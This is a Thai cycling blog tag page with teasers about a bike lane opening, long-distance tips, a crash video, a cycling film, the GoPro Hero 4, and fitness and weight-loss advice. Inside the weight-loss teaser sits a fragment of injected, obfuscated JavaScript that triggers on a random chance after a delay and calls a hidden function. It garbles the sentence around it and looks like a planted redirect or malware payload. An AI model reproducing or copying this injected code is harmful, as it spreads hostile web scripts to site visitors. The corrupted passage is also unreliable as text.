Tag: Cycling

แผนเสือซุ่มพิชิตระยะทาง 23.5K สนามเจริญสุขมงคลจิต (HAPPY AND HEALTHY BIKE LANE)

23 พฤศจิกายน 2561 ฤกษ์เปิดใช้งานอย่างเป็นทางการ และในโอกาสนี้ก็ได้เปลี่ยนชื่อสนามเป็น สนามลู่ปั่นจักรยาน “เจริญสุขมงคลจิต” หรือชื่อภาษาอังกฤษ “HAPPY AND HEALTHY BIKE LANE”

Long-Distance Cycling: ทิป 7 ข้อสำหรับการปั่นระยะไกล

เสน่ห์ของการปั่นระยะไกลอาจจะไม่ใช้การได้พิชิตระยะทางอย่างเดียว แต่มันคือการได้ออกไปผจญภัยและชื่นชมวิวทิวทัศน์ใหม่ๆ พร้อมสนุกไปกับเพื่อนๆ เหมือนครั้งยังเป็นเด็กอีกครั้ง

นาทีระทึกใจ! เมื่อท่อนเหล็กปลิวเข้าล้อที่กำลังปั่นด้วยความเร็ว 50 กม./ชม.!

นาทีระทึกใจ! เมื่อท่อนเหล็กปลิวเข้าล้อที่กำลังปั่นด้วยความเร็ว 50 กม./ชม.!

ภาพอุบัติเหตุของนักปั่นผู้โชคร้าย ที่มีเศษแท่งอลูมิเนียมปลิวเข้ามาขัดล้อรถที่กำลังวิ่งด้วยความเร็วถึง 50 กม./ชม.

To the Fore

To The Fore เมื่อการแข่งจักรยานถูกนำมาสร้างเป็นภาพยนตร์

เปิดตัว Trailer แรกของ "To The Fore" ภาพยนตร์จากค่าย Emperor Motion Pictures ในฮ่องกงที่เต็มเปี่ยมไปด้วยจิตวิญญาณอันรุ่มร้อนของนักปั่นจักรยาน ที่เล่าเรื่องราวการแข่งขันจักรยานระดับนานาชาติ และการทุ่มเทต่อสู้ของนักแข่งแต่ละคนอย่างเข้มข้น

GoPro Hero 4 มาตรฐานใหม่ของกล้อง Action Camera

GoPro Hero 4 มาตรฐานใหม่ของกล้อง Action Camera

และแล้วก็ถึงเวลาที่กล้อง Action Camera แบรนด์ยอดนิยมอย่าง GoPro จะออกรุ่นใหม่เป็นรุ่นที่ 4 ที่มาทีเดียวพร้อมกันถึง 3 รุ่น ที่มีทั้งรุ่นตัวท็อปสำหรับมืออาชีพ และรุ่นราคาประหยัดสำหรับคนอยากลองใช้

7 เหตุผลที่คุณควรจะเริ่มต้นขี่จักรยาน

7 เหตุผลที่คุณควรจะเริ่มต้นขี่จักรยาน

การขี่จักรยานไม่เพียงแต่ช่วยโลกเท่านั้นมันยังเป็นวิธีการที่ดีในการออกกำลังกาย และข้อดี 7 ข้อต่อไปนี้จะบอกถึงการขี่จักรยานทำให้เราสามารถลดไขมันได้อย่างไร

การปั่นจักรยานจะทำให้บั้นท้ายคุณสวยขึ้นได้อย่างไร

การปั่นจักรยานจะทำให้บั้นท้ายคุณสวยขึ้นได้อย่างไร

นักปั่นมืออาชีพที่มีบั้นท้ายอันสวยงาม หลังจากเห็นภาพเหล่านั้นคำถามก็จะผุดขึ้นมาว่าการขี่จักรยานทำให้บั้นท้ายสวยงามได้จริงหรือ คำตอบคือส่วนใหญ่ก็มาจากการปั่นจักรยานนั่นแหละและนี่เหตุผล

10 วิธีลดหุ่นโดยการปั่นจักรยาน

10 วิธีลดหุ่นโดยการปั่นจักรยาน

จักรยานเป็นกีฬาประเภท low impact และสามารถออกไปตัวเนื่องเป็นเวลานาน พยายามปั่นให้บ่อย สนุกกับมัน หาเพื่อนไปด้วย เเค่นีก็ Healthy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stay fit ...

7 เทคนิคในการป้องกันอาการปวดกล้ามเนื้อหลังออกกำลังกาย

7 เทคนิคในการป้องกันอาการปวดกล้ามเนื้อหลังออกกำลังกาย

อาการปวดหลังจากหยุดออกกำลังกายไปแล้วหลายชั่วโมงหรือ DOM ส่วนใหญ่แล้วเกิดจากการเกร็งตัวของกล้ามเนื้อ โดยการเกร็งของกล้ามเนื้ออาจทำให้เกิดการฉีกขาดของเซลล์เนื้อเยื่อซึ่งจะกระตุ้นให้เกิดอาการเจ็บปวด

ศิลปะการหายใจ

ศิลปะการหายใจ

วันนี้ว่าด้วยเรื่องการหายใจขณะออกกำลังกาย ว่ากันว่าการหายใจเเม้จะดูธรรมดาเเต่ถ้าดูให้ลึก มันเป็นทั้งศาสตร์และศิลป์ การควบคุมจังหวะหายใจเข้าเเละออกให้สัมพันธ์กับจังหวะการออกกำลังการจะสามารถเพิ่มประสิทธิภาพการออกกำลังกายได้เยอะที่เดียว อย่างกับการควบคุมลมปราณในหนังจีนเลยว่างั้น ตามที่กล่าวมาการควบคุมการหายใจ มีผลทั้งการออกกำลังกาย ไม่ว่าจะ วิ่ง วิดพื้น squart หรือเเม้เเต่จิตใจ การหายใจที่ไหลลื่นเป็นจังหวะเเละสมดุลต่อการเคลื่อนไหว สามารถลำเลียงออกซิเจนเข้าร่างการเราได้ดีขึ้น สามารถช่วยให้นักกีฬาอย่างเราๆ รีดเอาศักยภาพออกมาได้มากกว่าเดิม ออกกำลังกายได้นานขึ้น หายใจได้คล่อง ช่วยให้เรามีสมาธิมากขึ้น และลดอาการจุกเสียดเวลาวิ่งด้วยนะครับ ...

Crossfit สำหรับนักปั่น

Crossfit สำหรับนักปั่น

Crossfit สามารถเพิ่มความอึดทึกทน พละกำลัง ความเเข็งเเรงของกล้ามเนื้อ ความยืดหยุ่น ความเร็ว การทำงานประสานกันของกล้ามเนื้อร่างกายให้ดีขึ้น ยังสามารถช่วยเเก้ไขความไม่สมดุลซ้ายขวาของร่างกายได้ด้วย